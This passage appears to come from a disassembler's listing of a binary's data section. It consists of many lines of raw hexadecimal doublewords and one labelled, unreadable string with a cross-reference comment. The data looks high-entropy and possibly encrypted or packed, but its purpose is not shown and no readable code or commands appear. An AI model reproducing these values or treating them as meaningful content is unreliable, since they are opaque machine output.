		dd 4841EC39h, 78C4A028h, 7F6791Bh, 0D25B0A9Dh, 0F059E35Eh
		dd 0C152101Eh, 90116DC0h, 7E1A6226h, 0BFC51AB9h, 8C288Dh
		dd 0E00D298h, 49E53258h, 8C631Eh, 2A213818h, 8E33C7A2h
		dd 0CAD7E101h, 454461E3h, 0C0C4F970h, 0CCE4F4C0h, 240334FDh
		dd 0C208F885h, 0E5C3C0DAh, 0DC86095Ch, 0CE009E76h, 4D9CBC6Bh
		dd 0A494D924h, 0C1755700h, 0E10DE5h, 0F2A6F540h, 83EBB1EAh
		dd 5657100h, 60C561AAh,	6D3C00BCh, 0E6334739h, 7B90324Ch
		dd 0CC1A9000h, 6E286724h, 0CFBB02D7h, 4DACF6C2h, 81408042h
		dd 8B7E49A5h, 0E244EE0Bh, 224D0017h, 3CD9952h, 0FBC5E478h
		dd 0D960F51Ch, 7328FEB0h, 0DCEA09B8h, 24214CFFh, 0FCDF10DBh
		dd 19006BFDh, 0CAAB8F5Dh, 2A5649h, 0EA958934h, 21CEA966h
		dd 3EC21504h, 0C08040A2h, 1E0B74Ch, 50397413h, 0C8C81D3Ah
		dd 0F7027625h, 6334D598h, 970687Ah, 0C2A80032h,	9277FF3Fh
		dd 10F26607h, 86296B01h, 0D8CA9E6Ah, 6B611421h,	9487ECh
		dd 47D31BA4h, 0E2706FABh, 0D5B03B03h, 0B8EB2314h, 50A67Dh
		dd 0AA1B308Fh, 4B37A316h, 0D962F800h, 0A8AF13BFh, 6EC90041h
		dd 0B17802E8h, 0C6008EC3h, 55A96A71h, 0EF75374h, 0A63861C5h
		dd 0CD40D820h, 0DD079856h, 0EEBA6BA7h, 0AE3AADA0h, 2E7700E1h
		dd 34BCF135h, 0D000AC59h, 2D024A7Ah, 187F475h, 0EF74D99Ch
		dd 801CF52Bh, 15477E18h, 3A7DC53h, 27F0BE62h, 67A8F9E2h
		dd 0B07CBA2h, 38DDFAD0h, 0C0FF1C02h, 2D48D0h, 3E4365F5h
		dd 0E6B2C657h, 89A93B14h, 5870180h, 419463F0h, 613680F3h
		dd 35AF039Fh, 0C611A68Dh, 0C89CF6E1h, 3F03CFCCh, 97C259A0h
		dd 0FF81B868h, 0E00E0020h, 2E01431Dh, 0B37FEA48h, 0AC553D0Eh
		dd 2206C080h, 0EB28EDAh, 59E2230Fh, 9A280072h, 871EE744h
		dd 0AFE6BB00h, 0FF160CE3h, 0D4CC0166h, 4878DC25h, 4BBC20B3h
		dd 0D2549412h, 0DA82A002h, 0CA461B7h, 42146C1h,	4732D8h
		dd 389BD497h, 0FBE8D8BDh, 0B0F43050h, 0A48D2503h, 80A7027Eh
		dd 60ADBAF7h, 5B4058B1h, 7B58D8FFh, 0C49E008Dh,	0FA16C572h
		dd 0DB73003Fh, 8D4D8807h, 0A00566Fh, 80D2B060h,	3AD3194h
		dd 0E9F0F9CDh, 29B838B1h, 88005447h, 41E1F123h,	0B26D4BCCh
		dd 91BD0428h, 90A87DB4h, 0F4CA4D58h, 28E4AA00h,	7F66C965h
		dd 0D5EA0096h, 20810698h, 48391145h, 6F460793h,	33D09F23h
		dd 0EEF9C610h, 2D150008h, 0ADB94C7Bh, 5500E6C4h, 1DA437Fh
		dd 12B59517h, 0F26D12h,	0AA49AE39h, 6A00DC52h
		db 53h
a6nWm		db 'ż6nĆWŹ',0           ; DATA XREF: ___:00437A30o
					; ___:00437A48o
		dd 69731E39h, 1BD96C85h, 98FB9400h, 8E09F9Ah, 0F88100A4h
		dd 0EF1C60A3h, 26011573h, 661B8651h, 8E704691h,	29340181h
		dd 9C013CBh, 30C6173h, 75F8BBF7h, 0B80069BDh, 6D2EFC9Ah
		dd 0E7265Ah, 8564B0F6h,	288FF9B5h, 1C0340B8h, 9E46E6Ah
		dd 521A8D4h, 79649A20h,	1A6C1662h, 370C001Fh, 0E025950Eh
		dd 0B3011BEEh, 5F27A453h, 60DE8974h, 394B419Ch,	1C804408h
		dd 0E4835168h, 0D200991Fh, 0EF98387Bh, 450C7Fh,	42C7BEA8h
		dd 0D9504E67h, 461AD712h, 0AD0F7002h, 250AC097h, 825203D5h
		dd 0E529E630h, 437949C0h, 100A3F2h, 0C7EC7620h,	0F699B3h
		dd 5B25D10Bh, 0A4BB083Ch, 0F97E0F00h, 0EBCFE696h, 7A4D0062h
		dd 0B0D86C33h, 0C01539A6h, 298116Ah, 5F3CCADEh,	209CE02Dh
		dd 25840051h, 98CE11D6h, 0C01A843h, 974FFD5Eh, 0A4C0B7C0h
		dd 5DB61F02h, 0ECE691h,	0D8729F2Dh, 0DC15B5EDh,	0E986235h
		dd 816DE6CFh, 914096E0h, 8563C8h, 0CB165C87h, 0F6ED224Eh
		dd 8AF9EB00h, 66CA6E13h, 8D6748FCh, 0BD99051Dh,	1E7E8186h
		dd 0CA0011C2h, 5A216722h, 2CEAFFh, 4BCEA0FDh, 0D75D28F4h
		dd 53FEB300h, 94A3979Ch, 0E3F227h, 1A9FE752h, 0A13EF2BEh
		dd 0A5483AFCh, 2B57008Ch, 6CA3219h, 3058006Eh, 0D8EC1FFBh
		dd 9704759Fh, 46C5C67Ch, 23D944C1h, 1408870h, 0F1AD1712h
		dd 0D5B21F73h, 9FA040B9h, 435C5F0Fh, 191300E4h,	0F8AE297Eh
		dd 0CE5A0010h, 0D3E0A582h, 55946AB5h, 44FE813Fh, 0CA730A9Ch
		dd 54348E0h, 1201E9B4h,	0C7201D82h, 80EAAD84h, 8847182Bh
		dd 4A82C00h, 8C359438h,	0C96A1D6Dh, 80EFDF46h, 0E6DBB24Ch
		dd 9D001D7Dh, 8B3F6CABh, 1DD3DFAh, 962346B0h, 0A03C7E6Ah
		dd 0C001CF10h, 6693733Ah, 20832297h, 4AA73E0Ah,	0B3BF8FC0h
		dd 50275700h, 0B6F19345h, 90A30060h, 3CEA01B0h,	751FA156h
		dd 85FCCB78h, 400ECD9Bh, 0BE1CF805h, 3AC79006h,	0AFD50010h
		dd 1A69067h, 1A054F63h,	0FFE1B7B3h, 954090C0h, 23EB0B65h
		dd 41DEBCF8h, 3E38882Eh, 0DE750006h, 26DBD49Fh,	913C0559h
		dd 80703EACh, 0F3174A6Dh, 8A02B4F6h, 0AAFB0F87h, 0E4B8C025h
		dd 851400B3h, 16305F05h, 21056CB8h, 70825198h, 2700A81Ch
		dd 5FA84CB7h, 31EB00D8h, 0A173EC42h, 64387C72h,	0C1974DCh
		dd 0BF91805Dh, 6C713DCDh, 0CA229ECh, 0D978CEBAh, 9DF07170h
		dd 0E5405496h, 7BAA144Ah, 0BCAEC76h, 8B2B2A0Ah,	65C1AD03h
		dd 18C0969Ah, 9DFE1DA6h, 0D100EE75h, 8E4BCD06h,	718E66Fh
		dd 1A1E566h, 9F850BBh, 9B90CCA9h, 0BD13400h, 91908D7Ch
		dd 18AA6956h, 66E0C800h, 0A900FDEBh, 2A98BA0Dh,	7831B8h
		dd 2591206Ch, 0C2683F0Bh, 4B27E501h, 0ABD6944Fh, 16589DF8h
		dd 0AAF75h, 2E5A663Ch, 3DF0AE27h, 0C0C0B62Ch, 0FCA4E800h
		dd 551DCB2h, 5F8A073Bh,	828C0199h, 0C8E5C0CAh, 0A0003CB3h
		dd 6F7BF81Eh, 76D3FE5Dh, 9C9019h, 0A60108D7h, 7A18489Dh
		dd 0B8FC0A24h, 0DBC78607h, 9B80C650h, 0FA9C0BA7h, 0DC80F19Dh
		dd 0D3477BC1h, 0C7732603h, 809BC3AEh, 36890Bh, 0F502BC1Ah
		dd 63167DDAh, 4808C94h,	0F85C9546h, 89680108h, 6C66E526h
		dd 0E3D9F82Eh, 39006FF2h, 0D4925B1Ch, 17B312h, 0F996B25h
		dd 51F944E7h, 8FC37B05h, 0F48084DBh, 663473Eh, 11F6F3D7h
		dd 5900385Ah, 545B0C8Ah, 51B460h, 4B5663E1h, 74C84EDAh
		dd 0ACC9F624h, 5B51FBBh, 0A5D51300h, 78189Ch, 21094923h
		dd 1CE89D34h, 0C1AAF800h, 929A2DDDh, 379703ABh,	60D1C246h
		dd 0D327DED0h, 0FDA83404h, 0DCC080F3h, 20E632h,	0D451F03Bh
		dd 89601584h, 9AD76100h, 89DAF63h, 64290322h, 5C0EECA3h
		dd 0A4523F82h, 0F973DE01h, 0B9B41EE4h, 26A990E4h, 0EDC069Eh
		dd 4E208993h, 0CF1AEEC3h, 9A6D4200h, 640B075Bh,	0FCBC097Bh
		dd 806016FFh, 4803CF88h, 0FE0E262Ch, 60D5A2E4h,	137AEB74h
		dd 0CB34C1h, 0B4EE7B5Bh, 68008F9Bh, 8D4578F9h, 3F7E0E32h
		dd 7CAB66h, 1AD44987h, 2293FAFEh, 21177700h, 10C17392h
		dd 24130011h, 0D4A596B6h, 0CD00FD85h, 0EF67A7C0h, 30FBB844h
		dd 0B6807D2Fh, 27FC1FBFh, 556BDD00h, 0D053C15Dh, 1B63035Ah
		dd 0E2B0627Ah, 0D65E44E0h, 0E5879100h, 5F52166Dh, 0D2890003h
		dd 0BA4504B1h, 400177D1h, 0D69B75FDh, 0B17E5A87h, 10DD4699h
		dd 7B0D1F00h, 0BD09E079h, 5FE33193h, 0CC1B9E88h, 5A00E67Eh
		dd 35B0505Eh, 72EA7E1h,	0FF09892Dh, 7B7D30DCh, 1E00BA82h
		dd 0B587511Ah, 0DF8DB3h, 2A3050D6h, 45765FBDh, 1ED39500h
		dd 39F1F6C8h, 0AA5100E2h, 44A11A8Bh, 0BE1F4DD7h, 1640BC08h
		dd 24F97C48h, 61F07DCh,	71E8AC7Ah, 80BDE97Fh, 39281628h
		dd 3C7917FFh, 0FDBA8BF4h, 3ACE2580h, 0BA06DE8Eh, 54401D0Fh
		dd 0EDAA80F7h, 0F2FFB1h, 0C89B3569h, 2A7F5F0Ch,	0BDA78B00h
		dd 5D9C737Ch, 0E2E0ABh,	76376CFEh, 0D68DC470h, 68919A00h
		dd 0E3117D95h, 232700D9h, 0E0763F13h, 0DEAF107h, 8032B63Ah
		dd 0FFF303BDh, 0B59AEB68h, 0D2F87A80h, 5C3EE7E8h, 0B46B0A51h
		dd 0F100AC06h, 9C2A4C64h, 0E581004Dh, 0D4C27274h, 9639C835h
		dd 289A806Eh, 8CEBA45Ch, 92930082h, 69BF1F3Ah, 0E4004BE8h
		dd 248BA2B5h, 0B511475h, 7CD9FC49h, 0CC01B80h, 0C900AF2Ch
		dd 0AEFD33Bh, 286CAEFBh, 0E4FBBD74h, 67190072h,	25D4BC43h
		dd 77009FC8h, 9E20573Ah, 5CC5CEh, 91277CF1h, 0BE0D1B31h
		dd 23770200h, 49FAAB70h, 39E70F01h, 87BC53B2h, 0E07AE272h
		dd 0EF1116B1h, 7BA3731Eh, 0BD858600h, 1EB56E82h, 40C767A0h
		dd 9F92383Dh, 0AB392F9Dh, 34C9A8h, 8BCDC20Bh, 20345A9h
		dd 0B8ECF90Dh, 6C4078B1h, 4009E0CEh, 805DEF49h,	0F513F2EFh
		dd 0DFE70FDEh, 0F080BA39h, 636E0467h, 730285F4h, 8C9D74A8h
		dd 405A60B8h, 411303FFh, 0E191CE57h, 0AC786888h, 4C481FF8h
		dd 0DF630358h, 0C823ABB9h, 681EF9h, 0BC382B9Dh,	0E1184FBEh
		dd 27595306h, 12A06D4Dh, 7FFDB05h, 74A6C4A4h, 25648055h
		dd 0D9007F62h, 7859BD32h, 0B9686Fh, 0D2AAAD26h,	5F233EE6h
		dd 41FCF40Ah, 803FB7F7h, 843C270Ah, 29B445h, 22734635h
		dd 0C034835Dh, 49118800h, 3DE9F68Ah, 3A8C7E3Fh,	0B38075D2h
		dd 0BFEAE296h, 0AA00063Ah, 0FEF47B7Fh, 499032h,	0F88FA707h
		dd 0E87C2F15h, 3BB94700h, 0FB7580A8h, 313000F4h, 0C8948944h
		dd 0D4925D43h, 0B35C1200h, 0F0BE22D6h, 0CF453E07h, 778CD800h
		dd 3578FF9Bh, 1E9728C0h, 1207A971h, 1C9FEEC6h, 8EF42BEh
		dd 0A3C0EDF4h, 0F900D293h, 0D85A1C83h, 0E78730h, 701343FAh
		dd 0BEAFAE5Dh, 47D8900h, 8E7A2E25h, 45600083h, 0E6394BCEh
		dd 5B3B9F8Ah, 6E5F8B26h, 0E0D70E8Bh, 0C8431EC7h, 0FBB000F5h
		dd 6F3BB6E8h, 0FA3FF6ACh, 8B36002Fh, 96269BC4h,	4DE1016Bh
		dd 0F48F25A3h, 1B4EFC43h, 0AEE0D57Ah, 1276B73Dh, 400EB998h
		dd 717AE177h, 22C4B0C7h, 377B02h, 5404FD7Fh, 9009885Bh
		dd 786A54Ch, 70AD2EDBh,	0BF620190h, 5F163D52h, 140B28h
		dd 0E46D54B0h, 0CE74DCE7h, 0ACF98719h, 1FD01768h, 0CFD7E0A7h
		dd 0DE0FBC11h, 0EF865981h, 1291BD42h, 8C1EFF41h, 62153801h
		dd 0A0CB3635h, 122B9726h, 31FF417h, 2D0B5DC5h, 0A0CCB0C0h
		dd 0A8BD3A24h, 8B1F4C87h, 0DF2B602Ch, 0F6DA0148h, 892083C5h
		dd 808BE720h, 96BC3EA0h, 347C0412h, 87360A62h, 2140CA8Bh
		dd 0D4150F4Ch, 0AD9D73C3h
		dd 7CB277A3h, 9A43148Eh, 70877D21h, 0D4B187B8h,	0FF001BFEh
		dd 0EB0BC6E6h, 0A68490h, 307E284Ah, 0A744E40Eh,	598DD200h
		dd 29B2412Bh, 45FF00FEh, 8AE501F6h, 4F00DA1Dh, 6C6DB935h
		dd 74B91F5h, 690CE0A8h,	2A514013h, 957A50B6h, 4FDEF400h
		dd 47FD1290h, 5D8003C1h, 1579C55Fh, 6B608BA0h, 954C4F00h
		dd 6ABB22B6h, 5A120033h, 9D58066Dh, 0F2031E1Ch,	0F5B1089Ah
		dd 8F57E827h, 0DF0500C9h, 0AE5BC2E4h, 0C6F820FDh, 92F935B0h
		dd 75110AF4h, 0FD8F03B0h, 0D818E06Ah, 66A0FF9Ch, 21340802h
		dd 65E56E00h, 4BE6A3A1h, 880601FEh, 773B9FF9h, 1B862A5h
		dd 75A97D64h, 0E0FB89FCh, 369AE416h, 78108A7Ah,	14B0D798h
		dd 0C03680C8h, 18CC6519h, 9A22EA46h, 6521121Dh,	57903A80h
		dd 1812BA4h, 97ADF861h,	9E2DFCC9h, 0B88B2F29h, 11000C15h
		dd 44372E3Eh, 20EC0164h, 0CBFC1F2Bh, 0F9215DA7h, 70BEC80Eh
		dd 0E9B70D01h, 0F06DF6Ch, 44BDAAFFh, 9ABA1C10h,	906B405Dh
		dd 0A85E4524h, 0DA9BA305h, 0B580289Dh, 0C19BF89h, 440EF2Fh
		dd 0C8001B39h, 0C53623D1h, 6686BD62h, 215A086Ch, 0D1D0C60Fh
		dd 0ECFFC18Eh, 1980BE73h, 0E65483F4h, 0DE0ED36Dh, 0AFD69386h
		dd 842AA07Fh, 7AAE50Fh,	9636378Eh, 3780BAF7h, 6B1C01F8h
		dd 91080DBh, 693C5C78h,	302B0070h, 1F9A4134h, 1800908Eh
		dd 8E0317Fh, 7C407573h,	44C63C4Dh, 0C1F6B687h, 244710A0h
		dd 0B50041DFh, 6D73D0B9h, 3840FB9Fh, 0D583192Ch, 7A4DB448h
		dd 0C997AEE1h, 0B789E0BCh, 67490500h, 8F3F7BCCh, 68280F73h
		dd 0E6805E4Fh, 0E838C8FBh, 8D791500h, 8AC2BB6Ah, 0FA0900B1h
		dd 274E2B0Ch, 21CAACAh,	9407BAFFh, 78D03CB3h, 7C58B67h
		dd 45592180h, 575FB064h, 0F81DB8EAh, 77C2BCF0h,	406512B1h
		dd 0E956A82h, 570531E2h, 4A2A1C23h, 7ADEC0ECh, 580227DEh
		dd 0B99A9140h, 5BA5C0E9h, 3F8D06F0h, 913C1396h,	3E23ED07h
		dd 9B404630h, 3F614D21h, 6480F4BAh, 8C7D6A42h, 5100860Bh
		dd 0C1DCCC9Dh, 0B0C5977h, 37CE032h, 0AA00C85Ch,	704CA9BAh
		dd 97801A4h, 21498DFFh,	0B088E522h, 45EC3668h, 8C0100EBh
		dd 78079853h, 2AF8BF43h, 0E9BCFB00h, 57766B0Eh,	0E41F004Eh
		dd 99B8361Ah, 0D33EA43Ah, 8F03F725h, 7798237Ch,	7F53A847h
		dd 0FFE10080h, 0D79D35B4h, 0A9010CB6h, 0CB84586Dh, 87F42D1Dh
		dd 644700FAh, 0E6EE66DCh, 33006528h, 7F5989F2h,	449E17Dh
		dd 41AD2798h, 0A001FF72h, 18C07ABEh, 0B1B2C8h, 9F3AD22Bh
		dd 0E16171ABh, 3E73F707h, 31C099C9h, 1D11C6BCh,	2C0217h
		dd 96DAF3Ah, 183EEA30h,	0F5A89683h, 16892800h, 3A049Fh
		dd 4048A6C5h, 2C1568EDh, 764C3100h, 29EAE88Dh, 0A7EF0027h
		dd 0DC4E9430h, 0D703D251h, 4A5CCE6h, 90C4F36Dh,	316729B9h
		dd 6F28DDA3h, 422817CAh, 0A324A73Eh, 12DE0F21h,	0B99510BEh
		dd 89A8CF88h, 84CA08DEh, 42AAFE22h, 0DBC911ABh,	7F087621h
		dd 841790B8h, 6248D11Ah, 24BC7C42h, 0A76F2113h,	35238E12h
		dd 549BD87Bh, 9D7D004Ch, 5376EF8Dh, 6000AC33h, 6B4EB1A8h
		dd 7D863D07h, 0D5F000EBh, 6520049Bh, 770063C4h,	0F90F55B7h
		dd 0B86D72h, 8BE9475Eh,	0F8B5C58Ah, 6C0A7100h, 2B338465h
		dd 0FEE6FCh, 7B83E3B2h,	0D2AC469Ch, 5DD66E00h, 0E24C0CBFh
		dd 9690007h, 0A4844808h, 8E0076C1h, 24C8DD19h, 427F0Bh
		dd 0D8708883h, 0BE975027h, 719E300h, 625D85C9h,	98110043h
		dd 3FD7323h, 0FE00B769h, 66414E91h, 4839C0h, 0AA0CCA42h
		dd 6A68A5C4h, 9DFA000h,	0A6537D6Ch, 0D9BC0130h,	2CC25D48h
		dd 1CF6C81Eh, 0B934CD00h, 0E44BC606h, 0F0AC06CBh, 68BCB22Fh
		dd 14BEB100h, 0CDEDFB51h, 0DEA23C30h, 279C9D80h, 50174E6Dh
		dd 7A222A18h, 8920310h,	0D7E2FBC0h, 0A0657000h,	3F6A39h
		dd 55D385Ah, 503ED920h,	0B716FE00h, 84E45379h, 0E62E0008h
		dd 0F7EB10E0h, 990C6639h, 0B8FFE58Eh, 7AA5001Eh, 0F16BA059h
		dd 390127EFh, 0D74079B8h, 0E3F461DBh, 0DFDD00F5h, 0AF46C568h
		dd 2F056AACh, 0DAA5E813h, 7869A800h, 1EB131DDh,	0C0FFC86Eh
		dd 3043850Eh, 9607D9FDh, 97E68133h, 4B6E4A80h, 0C417013Bh
		dd 8D717227h, 9BEE20E2h, 0D07C5500h, 0CC86E1FCh, 0C5E8ABh
		dd 72EC8F6Dh, 2152D7D3h, 75B8204Ch, 1A03507Eh, 0BFEA7628h
		dd 2F8BC042h, 0A36B05E2h, 0C0D80AC3h, 996451EEh, 0EB95DB00h
		dd 82883C84h, 579F0B5Fh, 58005D07h, 0FC966E8Ah,	0D584FD00h
		dd 808C5315h, 0D3760049h, 95F74A40h, 0FDFCF2A3h, 0F4735228h
		dd 29586100h, 124B1EFBh, 1D773E34h, 9300133Eh, 0D49FC90Ah
		dd 2700FEE4h, 0A5F26F15h, 4E3FCBh, 8D3C9A14h, 0F3554521h
		dd 2CA2FE00h, 2923D738h, 227750h, 7DA57FE4h, 5E34245Ch
		dd 4310E1Fh, 5440885Fh,	125DFDC1h, 48E6002Fh, 0DDC0C346h
		dd 3E005C4Fh, 0DAB8E07Fh, 0FC61451Eh, 32D30008h, 0F7058E2Dh
		dd 7601504Ah, 3BE0171Ch, 0DDC5D04h, 2D6424D2h, 93FC9104h
		dd 0C1BED300h, 50204Fh,	0B36A8F53h, 0BC3A1A54h,	8035A33Fh
		dd 0E0F5D72Bh, 197CDEh,	531F792Dh, 1EB6D15Ch, 71ADA324h
		dd 1CC7081Eh, 32349FE0h, 22B8A880h, 9712009Ch, 9A4D230Fh
		dd 0E1EDD82h, 6D00054Ah, 56B722C3h, 0DB51F24h, 3E196CEh
		dd 4F5FCB1Fh, 3663EBB0h, 40866E1Ch, 3222E600h, 7EB948BFh
		dd 23BD33CDh, 0C0849AD0h, 3D4509FCh, 0ABE7A000h, 127182E9h
		dd 899001Ch, 1BBE4DDBh,	6C906E8Bh, 16680D0Fh, 0D238E0BFh
		dd 0F313B6h, 7D3CDB3Ah,	0EE96557Eh, 8314D53Bh, 0D9DA56D7h
		dd 0B7EF9374h, 0B0E4E04Fh, 72803FA2h, 0AC0102B6h, 4AAB922Ch
		dd 0B5E8AC98h, 0A406BA00h, 26812A03h, 0D67596h,	468374B1h
		dd 0E41A44EFh, 2DC011DDh, 0A132B06Ah, 49AF0FC7h, 4AE2EE03h
		dd 9A60593Dh, 0D539915Ch, 0EF0B8FE5h, 0E2C31EA8h, 0F79C1C49h
		dd 0CBCD5620h, 0F0DA00AFh, 8905066Ch, 6F07F3B3h, 8BB0E93Ch
		dd 0F82C5DC0h, 6D360380h, 0B1F710CCh, 0C09B70E1h, 0B80969B3h
		dd 8E7E3188h, 6293A0B2h, 9096798Eh, 0CEA400DAh,	0FCA1F348h
		dd 0B102B37Bh, 0CF218415h, 2318C0C1h, 0FF320181h, 0A07661A4h
		dd 28ADC0B0h, 0CB8AD0A0h, 780AC100h, 1761ECD5h,	12AA037Bh
		dd 29CCA260h, 4F7E2BE0h, 0FDDBEB00h, 0B99C3897h, 0EC080031h
		dd 0E606E3C9h, 2B1F8A03h, 654F2D47h, 8D00B09Ah,	52DA8678h
		dd 0A70245D0h, 0F5C1CA7Ch, 773C606Ah, 0A02A0E06h, 3C209038h
		dd 7CEFFC21h, 64809D00h, 498CA2BDh, 655B0752h, 7060ED30h
		dd 0E2464413h, 0DA58E900h, 1F0EBD76h, 315B0002h, 0BFA3573Dh
		dd 3800BE90h, 0CE28148Bh, 0B7C84F1h, 0E541EEFBh, 4F3DCA81h
		dd 35D6F01Dh, 0E411DD65h, 0ECD2898h, 0B9D63A2Ch, 0E0DBC6C7h
		dd 2E6B505Ch, 0BC845A01h, 6EE0A604h, 0BD143E0h,	5537A2F8h
		dd 0C7E1C70Fh, 6045D2FEh, 94006D2Ch, 23E4ED3h, 714F7F7Ch
		dd 8F2200A4h, 0C51C8492h, 5C1EB8B2h, 6B003479h,	0A2A4EC0Bh
		dd 0E2D8001Ah, 29F89CFAh, 450E23DAh, 603BE4C8h,	0FB63EE8Bh
		dd 788C05Fh, 0EAB2CDA3h, 6B348F04h, 14C04D98h, 5E91AEh
		dd 0F2D75286h, 0FDC40C78h, 0FF64E300h, 6E5CEFDEh, 9F020061h
		dd 0CA8F26A1h, 0AC008C40h, 5BEBD648h, 2B6097h, 4F247779h
		dd 0B6330F88h, 906B6200h, 0FA1E39CCh, 7C6A001Fh, 0ADE03B05h
		dd 0BC001B55h, 3DA1836Bh, 0F74E61h, 222CB7EEh, 0D4DC3BAAh
		dd 1B70D900h, 1F55CD06h
		dd 0C46E00C5h, 0C78A52B8h, 9F01F85Ch, 49CD194h,	46ECA105h
		dd 92B70093h, 0FDC651EEh, 82874D2h, 6507C0F5h, 7CCF49F1h
		dd 9F9C8730h, 15113E7Fh, 732CEA00h, 91181937h, 0FADE1B3Bh
		dd 0B7A084B2h, 0B005EB5h, 0D1BD16DCh, 0DAD221h,	441A3EA5h
		dd 36A0154Ch, 0D7BB1E00h, 86173A93h, 0BDD10A8Bh, 81A4C5A4h
		dd 0BC0962E6h, 0FA11CC2Eh, 694D1E01h, 4A2BCDDAh, 0E8CC55DCh
		dd 0B5D00E0Dh, 5B0008EDh, 8CAB5A6Eh, 5C028400h,	9FE17516h
		dd 55EAF9h, 0FAF70F41h,	90C0562Ah, 0A0E29112h, 5200CC16h
		dd 989CA782h, 0F5693E74h, 1D2E4F81h, 20298E5Ah,	0AB5C2AE0h
		dd 0BA99000Fh, 0DB3750B3h, 1320039h, 9FD86CC9h,	6E2E1D10h
		dd 0A4006A0Bh, 60D99058h, 0B498A8h, 23C3A603h, 0F4A74BAAh
		dd 0BA45591Ch, 0AD00E0E4h, 52D9F198h, 0A84E0013h, 5BBB75ACh
		dd 611419CCh, 3909E95h,	78238F35h, 0E5BEE891h, 0C98C004Ch
		dd 0F91CC3A7h, 6F003154h, 0D37A38D4h, 0A7C5DD2h, 0D078CB61h
		dd 0FC1000E4h, 3EAA0BAFh, 8006753Bh, 0C4F4B9C3h, 9F891E73h
		dd 0A8002678h, 1AB7BF20h, 0D38C4Eh, 4A506021h, 3AEB0C07h
		dd 0F0151F0Fh, 8FD9E538h, 0CC7D1CC0h, 44B0088h,	3A1D7C44h
		dd 0C448E8F9h, 947600A1h, 407B1B14h, 0C3133C8Dh, 755E7200h
		dd 4BC5305Bh, 6BFCF700h, 0EC77F8B5h, 90A0010h, 4367914Dh
		dd 0F60E3016h, 20B0ACC0h, 37CA8CC1h, 0E2050ED9h, 5AA04D67h
		dd 885C36F2h, 0D4490724h, 32DE2200h, 80C7DFh, 0FA1B46D1h
		dd 9B3FB71Ah, 0DF8E400h, 1340CF6Ah, 0E2170049h,	0E867F104h
		dd 0D000C1F5h, 0C0F38AD4h, 39EAF6Bh, 5BA3CC91h,	9E28BF0h
		dd 0A71A060h, 19FBAB00h, 0C73A75A0h, 5806157Eh,	4508B867h
		dd 5E0243B1h, 0C0B25C57h, 0C3AEC6Ch, 0A29FF058h, 53001C10h
		dd 471AD93h, 97B6470h, 2A7AA4Fh, 7CF3EA83h, 12AC5FD0h
		dd 3702DAE0h, 0D1AE828Bh, 0E8FC60D9h, 407885h, 5648CF8Fh
		dd 0B46F8D8Ah, 3D876B38h, 0DCF99F6Eh, 0FB2CBD40h, 1549A51h
		dd 0F4688A0Ah, 30694344h, 65177EDFh, 0F000CFF6h, 8BB97711h
		dd 22D5014Eh, 0C00DCA04h, 0DAC2F0E3h, 398F993Dh, 45B78074h
		dd 0BBF4425Fh, 0E41E012Fh, 0B15DFF0Ah, 0F2E0F775h, 0C808BC22h
		dd 235946Ch, 0AAA873DCh, 210008ECh, 9F241497h, 52C71Ah
		dd 0A2CE529h, 8A96B6EDh, 0BBBC4701h, 0E2A8D7E1h, 45BAC50h
		dd 56E080BDh, 0D3CD6185h, 3170609Ch, 0D400767Bh, 0D3D2530h
		dd 5CFBC2DBh, 0AC405BD5h, 16120091h, 0FC693F1Bh, 0D034765h
		dd 66AFB38Dh, 0D47891F2h, 79438E30h, 0D00F00CBh, 4D6FE58Fh
		dd 0FE0002E6h, 0A0F34C54h, 0AFF7D5Ah, 3A3EE382h, 630C03BEh
		dd 93C80D86h, 8A0FF31Eh, 5FC13507h, 59983C1h, 4430A6BEh
		dd 7B470052h, 0CB128FB6h, 8118D650h, 0A5F0FB48h, 8D0900B1h
		dd 0F547080Dh, 0D1003EDEh, 2DA9D4D5h, 0D96432h,	1EDA42DDh
		dd 0C5F92C36h, 3EEB9A00h, 1C4B13F6h, 117D1D56h,	6595CB30h
		dd 0C09C4C07h, 5D316015h, 0B9E5B228h, 7693F503h, 0F03389D7h
		dd 7C28BDh, 1FAE1738h, 2237C03Dh, 0DE9075E2h, 72059578h
		dd 0A2D1F3F2h, 0ACF85780h, 0EAE201A7h, 82619157h, 7FE06458h
		dd 1DD3427h, 1677418h, 3EF2CC50h, 2449092Bh, 400B7Ch, 0CE0788A8h
		dd 0E71BA2C6h, 4B60A04Bh, 0E22F72h, 28088E32h, 0FF71ED50h
		dd 7B928040h, 0FBFC1415h, 0D928E896h, 7ED27ABEh, 0F853012Bh
		dd 57430F67h, 683830C1h, 72D87003h, 0C00E9479h,	0EAF584h
		dd 520D7895h, 176E0FF2h, 0E41BFE24h, 9BB79A00h,	7158B137h
		dd 13810079h, 0C097B0C2h, 0C50BD48Ch, 78D601h, 0FC02FF04h
		dd 687079h, 0F7DF092Ch,	33497BC2h, 0D469CEC0h, 9811F26Ch
		dd 0B0D10828h, 5360723Ch, 1FC6F98h, 0FFE15027h,	0DC69035Bh
		dd 6101FE94h, 43250586h, 0AE31F8BEh, 4215889Eh,	1ACE323Bh
		dd 0CF24FC8Eh, 1D988131h, 16C05060h, 0A5409D3Bh, 748800F0h
		dd 1E199EBDh, 8A1779E7h, 48019312h, 0A339CF08h,	2D20C440h
		dd 453B0746h, 909740A7h, 0AA010B10h, 51A0923Ch,	0EFC5DCB4h
		dd 0D04B3900h, 0E35DE65Bh, 19BD00C9h, 9B365070h, 56488A1Eh
		dd 0AC91003Ch, 35255559h, 0F66900B5h, 5682B4Ah,	7503CBF7h
		dd 0E6480A0Fh, 0C0A7C0B1h, 946E6047h, 4E8CA3FCh, 0E20BD48h
		dd 60536BEAh, 10F37558h, 0D8A04DF6h, 89AD8E0Fh,	2E5DCB80h
		dd 0DD0BFB4Bh, 80771FE4h, 0A9A0684Dh, 3660002h,	0CA0AEB64h
		dd 8416EE33h, 0C00245AFh, 5240616Dh, 2C3100A0h,	0A14B2A8Bh
		dd 56008306h, 5B4FA4C3h, 0D63BB1h, 74D168FEh, 0E2DF0FAFh
		dd 393AB814h, 1E11079Ch, 7014B791h, 685F4B80h, 0D66C002Fh
		dd 0F4545A42h, 7B094D32h, 8076B416h, 0EF772809h, 989E48CFh
		dd 75348482h, 38677011h, 0B0143701h, 20F2DEAEh,	0DF249C14h
		dd 738094BEh, 0DB974129h, 0FA89225h, 442BED2Fh,	5DBA0F00h
		dd 4C00DC1Fh, 0B10E58C1h, 0EEEAEE4Dh, 64D3272Dh, 89270483h
		dd 0A15C8903h, 0C09855B7h, 1A0C3B0h, 0F5D77DE6h, 324B3824h
		dd 18DA001Ch, 8DD02B9Eh, 9FD5061Fh, 805370A3h, 6513F490h
